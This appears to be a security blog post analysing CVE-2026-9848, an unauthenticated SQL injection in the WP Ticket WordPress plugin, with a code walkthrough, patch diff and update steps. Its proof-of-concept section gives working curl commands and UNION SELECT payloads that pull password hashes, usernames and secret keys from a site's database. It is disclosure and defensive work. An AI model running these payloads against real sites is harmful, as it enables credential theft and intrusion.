WP Ticket WordPress plugin banner

CVE-2026-9848: WP Ticket Unauthenticated SQL Injection (CVSS 7.5)

Updated 7 min read

CVE-2026-9848 is a CVSS 7.5 (High) Unauthenticated SQL Injection vulnerability in the WP Ticket WordPress plugin. An attacker with no account can extract sensitive data — including password hashes and email addresses — from the database by sending a crafted WordPress search request.

Vulnerability Summary

FieldValue
Plugin NameWP Ticket (Customer Support Ticket System & Helpdesk)
Plugin Slugwp-ticket
CVE IDCVE-2026-9848
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeSQL Injection
Affected Versions<= 6.0.4
Patched Version6.0.5
PublishedJune 12, 2026
Researchershe11f
Wordfence AdvisoryLink

Description

The WP Ticket plugin for WordPress is vulnerable to SQL Injection via the WordPress search parameter (s) in versions up to and including 6.0.4. The plugin hooks WordPress’s posts_request filter with wp_ticket_com_posts_request(), which calls emd_author_search_results() when the current request is an unauthenticated front-end search. That function reads $query->query_vars['s'] — already wp_unslash()’d by WP_Query::parse_query(), so magic quotes protection has been stripped — and concatenates the raw value into a SQL LIKE clause inside a UNION sub-SELECT appended to the main query, with no $wpdb->prepare() or escaping. This makes it possible for unauthenticated attackers to append additional SQL queries into already-existing queries to extract sensitive information from the database.

Technical Analysis

Execution Path

The vulnerability starts at plugin activation. WP Ticket registers the emd-ticket post type with frontend author-limitby capabilities. This populates the wp_ticket_com_limitby_auth_caps WordPress option.

When any visitor performs a front-end search (/?s=), WordPress fires the posts_request filter with the final SQL string. The plugin intercepts it:

includes/query-filters.php — line 9 and 54–62:

add_filter('posts_request', 'wp_ticket_com_posts_request', 99, 2);

function wp_ticket_com_posts_request($input, $query) {
    global $wpdb;
    if (!is_admin() && $query->is_main_query() && is_search()) {
        $input = emd_author_search_results('wp_ticket_com', $input, $query, 'search');
    }
    return $input;
}

There is no authentication check here. Any front-end search query — from any visitor — reaches emd_author_search_results().

The Vulnerable Function

includes/common-functions.php — lines 144–195:

function emd_author_search_results($app, $input, $query, $type) {
    global $wpdb;
    // ...
    $set_types = emd_find_limitby('frontend', $app); // returns ['emd-ticket'] by default

    if (!empty($set_types)) {
        $search = $query->query_vars['s']; // raw, unescaped user input

        foreach (array_values($set_types) as $ptype) {
            $pids = apply_filters('emd_limit_by', $pids, $app, $ptype, 'frontend');

            if (empty($pids)) {
                $input_add .= " UNION (SELECT * FROM " . $wpdb->posts
                    . " WHERE " . $wpdb->posts . ".post_type ='" . $ptype . "'"
                    . " AND " . $wpdb->posts . ".post_status = 'publish' AND ";

                // SQL INJECTION HERE — $search is never escaped
                $input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%'"
                    . " OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
            }
        }

        $input = $input . $input_add . " ORDER BY " . $wp_ticket_com_orderby . " " . $wp_ticket_com_limit;
    }
    return $input;
}

Root Cause

The variable $search at line 164 comes directly from $query->query_vars['s']. WordPress’s WP_Query::parse_query() calls wp_unslash() on $_GET['s'] before storing it — this strips addslashes protection. No further SQL escaping is applied before $search is concatenated into the raw SQL string.

Because the code builds raw SQL by string concatenation instead of using $wpdb->prepare(), an attacker can break out of the LIKE clause using a single quote and append arbitrary SQL.

Why It Is Unauthenticated

The posts_request filter fires on any front-end search. The function wp_ticket_com_posts_request() only checks !is_admin() and $query->is_main_query() — not whether the user is logged in. WordPress’s search (/?s=...) is available to all visitors. There is no nonce and no login check.

What an Attacker Can Extract

The injected UNION SELECT runs against the full database. An attacker can extract:

  • WordPress user table (wp_users): usernames, password hashes, email addresses
  • WordPress options table (wp_options): secret keys, API credentials, configuration
  • Plugin tables: any data stored in the database

Proof of Concept

Disclaimer: This PoC is for educational and authorized testing only. Do not test against systems you do not own or have explicit permission to test.

Prerequisites:

  • WP Ticket plugin installed and activated, version ≤ 6.0.4
  • Default plugin configuration (setup wizard completed — this populates wp_ticket_com_limitby_auth_caps)
  • Front-end search enabled (WordPress default)

Step 1 — Confirm the injection point is reachable

Send a search request with a single quote to trigger a database error:

curl -s "https://TARGET.com/?s=test'" | grep -i "syntax\|error\|SQL\|unexpected"

If MySQL errors appear or the page behaves differently from a normal search, the injection point is active.

Step 2 — Extract WordPress user credentials

The wp_posts table has 23 columns. The payload injects a UNION SELECT that maps user_login to column 6 (post_title) and user_pass to column 5 (post_content):

PAYLOAD="test' UNION SELECT 1,2,3,4,user_pass,user_login,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_users-- -"
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$PAYLOAD'''))")
curl -s "https://TARGET.com/?s=${ENCODED}"

Step 3 — Verify extraction

The search results page will render rows from wp_users. The post title area shows the username, and the post content area shows the bcrypt password hash:

curl -s "https://TARGET.com/?s=${ENCODED}" | grep -oP '\$P\$[a-zA-Z0-9./]{31}'

A successful response returns password hashes like $P$BXZVHhqmK8... that can be cracked offline with Hashcat.

Step 4 — Extract sensitive options

To read wp_options (e.g. secret keys):

PAYLOAD2="test' UNION SELECT 1,2,3,4,option_value,option_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 FROM wp_options WHERE option_name LIKE '%secret%'-- -"
ENCODED2=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$PAYLOAD2'''))")
curl -s "https://TARGET.com/?s=${ENCODED2}"

Patch Analysis

The fix in version 6.0.5 changes includes/common-functions.php in three places:

Before (vulnerable):

$input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%'"
    . " OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";

After (patched):

+ // Prepare wildcard searching safely
+ $wildcard_search = '%' . $wpdb->esc_like($search) . '%';

- $input_add .= "(" . $wpdb->posts . ".post_title LIKE '%" . $search . "%'"
-     . " OR " . $wpdb->posts . ".post_content LIKE '%" . $search . "%'))";
+ $input_add .= $wpdb->prepare(
+     "(" . $wpdb->posts . ".post_title LIKE %s OR " . $wpdb->posts . ".post_content LIKE %s))",
+     $wildcard_search, $wildcard_search
+ );

The patch applies two layers of protection:

  1. $wpdb->esc_like($search) — escapes SQL wildcard characters (%, _, \) in user input so they are treated literally, not as wildcards.
  2. $wpdb->prepare() — uses parameterized queries to pass the value as a bound parameter instead of string concatenation. This prevents SQL injection regardless of the input.

The patch also fixes the elseif(!empty($diff_pids)) branch by casting all post IDs with array_map('intval', $pids) before building the IN clause, and wraps the $ptype value with esc_sql() — hardening adjacent code against similar issues.

Timeline

DateEvent
June 12, 2026Vulnerability publicly disclosed by Wordfence
June 13, 2026Advisory last updated
June 17, 2026This post published

Remediation

Update WP Ticket to version 6.0.5 or later immediately.

From the WordPress admin:

  1. Go to Plugins → Installed Plugins
  2. Find Customer Support Ticket System & Helpdesk
  3. Click Update Now

Alternatively, update via WP-CLI:

wp plugin update wp-ticket

Verify the installed version:

wp plugin get wp-ticket --fields=version

If you cannot update immediately, consider temporarily deactivating the plugin until you can apply the patch.

References

  1. Wordfence Advisory — CVE-2026-9848
  2. CVE Record — CVE-2026-9848
  3. Vulnerable code — common-functions.php L174
  4. Vulnerable code — common-functions.php L164
  5. Vulnerable code — query-filters.php L57
  6. Vulnerable code — filter-functions.php L22
  7. Patch changeset — common-functions.php
  8. Full patch diff — 6.0.4 to 6.0.5
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee